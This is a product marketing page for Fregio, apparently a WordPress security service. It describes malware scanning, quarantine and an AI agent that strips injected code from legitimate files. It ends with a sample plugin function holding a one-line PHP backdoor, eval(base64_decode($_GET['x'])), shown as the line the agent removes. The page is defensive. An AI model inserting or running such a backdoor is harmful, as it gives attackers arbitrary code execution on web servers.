SECURITY, BUILT IN
Security that cleans,
not just detects.
43% of the web runs WordPress — which is why attackers automate against it. Fregio ships every site with a deep scanner and, uniquely, an AI surgeon that removes injected code from legitimate files without breaking them.
THE SCANNER
4,000+ files. Nothing skipped.
On demand or on schedule, Fregio sweeps the entire install — core, plugins, themes, uploads. Threats are ranked by severity, shown with their exact file path, and handled quarantine-first: nothing is ever destroyed.
- — Quarantine-first: originals are kept in a protected backup
- — Severity-ranked findings with exact file paths
- — One click to quarantine, restore, or clean
WHAT GETS CHECKED
The full sweep, every scan.
01
Core integrity
Every WordPress core file is verified against official checksums. A single modified byte is flagged.
02
Plugin & theme files
Installed plugins and themes are checked file-by-file against their published versions.
03
Backdoors & webshells
Signature scanning hunts eval-chains, obfuscated payloads, rogue uploaders and known shell kits.
04
PHP in uploads
Executable code hiding in wp-content/uploads — the classic drop zone — is caught on sight.
05
Rogue admin accounts
New or suspicious administrator users are surfaced before they become a persistence problem.
06
Re-scan verification
After a clean-up, the scanner runs again and confirms zero threats remain — no “probably fine”.
WHY IT'S DIFFERENT
The AI surgeon.
The hardest case in WordPress security isn't a malicious file — it's a legitimatefile with malicious code injected into it. Delete it and you break the site. Leave it and you're still infected.
Fregio's clean-up agent reads the infected file, isolates the injected code, and removes exactly that — preserving the legitimate logic around it. Then the scanner re-runs to prove the site is clean. That surgical step is what scanners alone can't do.
// plugins/seo-kit/init.php
function seo_kit_init() {
register_meta_tags();
eval(base64_decode($_GET['x']));
add_sitemap_hooks();
}
✓ injected line removed — plugin intact
